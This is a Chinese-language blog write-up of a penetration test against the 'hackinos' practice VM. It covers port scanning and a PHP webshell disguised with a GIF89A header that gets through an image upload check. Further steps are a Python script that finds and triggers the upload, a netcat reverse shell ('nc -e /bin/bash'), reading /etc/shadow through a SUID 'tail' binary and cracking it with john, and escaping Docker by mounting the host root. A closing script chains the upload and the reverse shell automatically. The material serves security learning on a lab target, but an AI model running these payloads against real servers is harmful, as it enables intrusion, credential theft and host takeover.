hackinos 渗透测试

  • 内容
  • 相关

HACKIN OS渗透测试

攻击环境:kali

网段扫描 - 没什么意义就是扫着玩

常用扫描命令

  • netdiscover -r 192.168.0.0/24 网络发现 -r 指定网段和子网掩码
  • nmap -sn 10.10.100.0/24
  • nmap -sP 10.10.100.*
  • arp-scan -l 扫描局域网内所有设备

ZO5TFf.png

对目标网站端口进行扫描

  • nmap -A -sV -T4 10.10.100.190 (-A 同时打开操作系统指纹和版本检测, -sV 打开系统版本检测 -T4加快扫描速度)

ZOIutK.png


发现目标开启了8000端口,进行访问

访问robots.txt

ZOI67q.png


发现存在upload,是一个图片上传

ZOIh3F.png

右键查看源代码,发现hint

忍不住吐槽两句,既然模拟实战,就花点心思把源码泄露搞得隐蔽一点嘛...真实环境会有这么傻的程序员嘛... ZOo3CT.png

  • 访问源码

ZOobrj.png

  • 核心检查部分,就是校验mime是不是png或者gif,构造一句话木马
GIF89A
<?php eval($_GET["key"]);?>
  • 这里多说一句,使用GIF98A是因为gif文件头部刚好是ascii编码,直接构造起来比较简单

  • 对于一句话木马,这里没有作相应的防御手段,可以考虑加入变形木马等骚操作,详细可以参考这里

  • 上传看看

ZOHZvD.png

  • 和源码对比是上传成功的
  • 再次研究一下源码,发现上传后的文件名按照某种方式被修改,写一个python扫一下文件
import requests
import hashlib
url="http://192.168.0.252:8000/uploads/"
name="a.php"
for i in range(101):
    a=url+hashlib.md5(name+str(i)).hexdigest()+".php"
    #print a
    r=requests.get(a)
    if r.status_code != 404:
        print a
        break

ZOLnrF.png

  • 第一次跑的时候没有出结果,我以为我的代码写的有问题,后来发现他隔一段时间会删除上传的文件
  • 所以动作要快,姿势要帅,lalala

  • 测试发现应该是过滤了一些函数eval(代码命令执行)用不了,换一个函数system(系统命令执行)

    GIF89A
    <?php system($_GET[1]);?>
    

执行小马看看用户

ZXC2p4.png

反弹shell来获取更高的操作权限

  • kali 启动nc 监听1234端口

ZXCq9e.png

  • 木马反弹shell,url后面加上下面的部分执行,其中ip为攻击机ip,1234为kali上nc监听的端口
?1=nc -e /bin/bash 192.168.0.78  1234

ZXiia6.png

  • 可以看到,服务端执行后,nc已经连接上了
  • 查看当前的链接权限

ZXiVRe.png

  • 用python生成标准shell窗口(不用也行,就是看着难受)
    python -c 'import pty; pty.spawn("/bin/bash")'
    

下面要做的就是提权工作

Linux下/etc/passwd 和/etc/shadow的区别

/etc/passwd

  • 在该文件中,每一行用户记录的各个数据段用“:”分隔,分别定义了用户的各方面属性。
  • /etc/passwd文件是Linux/UNIX安全的关键文件之一.该文件用于用户登录时校验 用户的口令,当然应当仅对root可写.文件中每行的一般格式为: LOGNAME:PASSWORD:UID:GID:USERINFO:HOME:SHELL

/etc/shadow

  • /etc/passwd是用户数据库,其中的域给出了用户名、加密口令和用户的其他信息.
  • /etc/shadow是在安装了影子(shadow)口令软件的系统上的影子口令文件。影子口令文件将/etc/passwd 文件中的加密口令移动到/etc/shadow中,而后者只对超级用户root可读。这使破译口令更困难,以此增加系统的安全性。
  • 对应 登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志

综上,要获得root权限,可以先考虑获得root密码

  • 获得密码就需要获得 /etc/shadow文件的内容,但是没有可读权限没办法直接拿到该文件
  • 先找一下找下该靶机上可执行的二进制的文件,也许能使用普通用户执行root命令

      find / -perm -4000 2> /dev/null
    //   目录 按权限 可执行 错误输出定位到null
    

    ZXVNVA.png

  • 发现可以执行tail命令(tail 命令可用于从末尾查看文件的内容 -c<数目> 显示的字节数)

tail -c1k /etc/shadow

ZXZuLQ.png

- 发现root用户密码(hash)

由于中途有事,所以虚拟环境有所变化,靶机ip变更为192.168.42.252,攻击机ip变更为192.168.42.78

  • 将整个文件内容拷贝到一个新的文件hash.txt中
  • 使用 john进行爆破 -
    john hash.txt
    

ZjUd4P.png

拿到root密码,直接切换为root权限

ZjU7DJ.png

  • 虽然拿到权限了,但是事情并不像我们想的那样简单

ZjaV8f.png

输了一下ifconfig

ZjdpWV.png

  • 嗯???这不是公网ip!!!是有八九这个linux跑在docker里面了,先放一边
  • 再回头看看WordPress的配置文件,看看数据库里面有啥

Zjwv80.png

  • 先连上数据库再说~

ZjDS74.png

  • 发现了一个不符合wp命名规范的数据表

ZjDl9I.png

  • 似乎是个md5,尝试解密看看

ZjD0Cn.png ZjDrvV.png

  • 根据数据表名可知这是个ssh登录密码
  • ssh走起~

ssh登录公网服务器

ZjrCqS.png

  • 登录成功啦

Zjrk5j.png

  • 根据刚才的猜想,发现跑了三个容器~
  • 其中一个是我们刚进来的wp还有一个是数据库,最后一个不知道是啥,先进去看看再说~
  • docker exec -it 252fa8cb1646 /bin/bash

Zj6GGj.png

  • 合着你欺骗我的感情呢???不过似乎原来作者不是想通过数据库给我ssh登录密码???
  • 是想通过内网渗透得到密码??
  • 把原始的ubuntu镜像跑起来
  • docker run -it -v /:/root ubuntu /bin/bash

ZjcSYQ.png

  • 终于搞定了...

插曲

中途有事,环境变了,反弹shell部分我嫌麻烦,写了个脚本,直接反弹,不是多么高级,但是很靠谱
import requests
import hashlib

data="""
-----------------------------28821283289319
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: application/octet-stream

GIF89A
<?php system($_GET[1]); ?>

-----------------------------28821283289319
Content-Disposition: form-data; name="submit"

Submit
-----------------------------28821283289319--
"""
s_url="http://192.168.42.252:8000/upload.php"

header={
"Host": "192.168.42.252:8000",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
 "Accept-Language":  "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 ",
 "Accept-Encoding":  "gzip, deflate ",
 "Content-Type":  "multipart/form-data; boundary=---------------------------28821283289319 ",
 "Content-Length":  "337 ",
 "Connection":  "keep-alive ",
 "Referer":  "http://192.168.42.252:8000/upload.php ",
 "Upgrade-Insecure-Requests":  "1 "
}

r=requests.post(s_url,data=data,headers=header)
url="http://192.168.42.252:8000/uploads/"
name="a.php"
for i in range(101):
    a=url+hashlib.md5(name+str(i)).hexdigest()+".php"
    #print a
    r=requests.get(a)
    if r.status_code != 404:
        print "FInd:"+a
        break

url=a+"?1=nc -e /bin/bash 192.168.42.78  1234"
requests.get(url)

本文标签:

版权声明:若无特殊注明,本文皆为《Dreamn》原创,转载请联系站长获得授权。

本文链接:hackinos 渗透测试 - https://dreamn.cn/post/21

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新

允许邮件通知
00:00 / 00:00
随机播放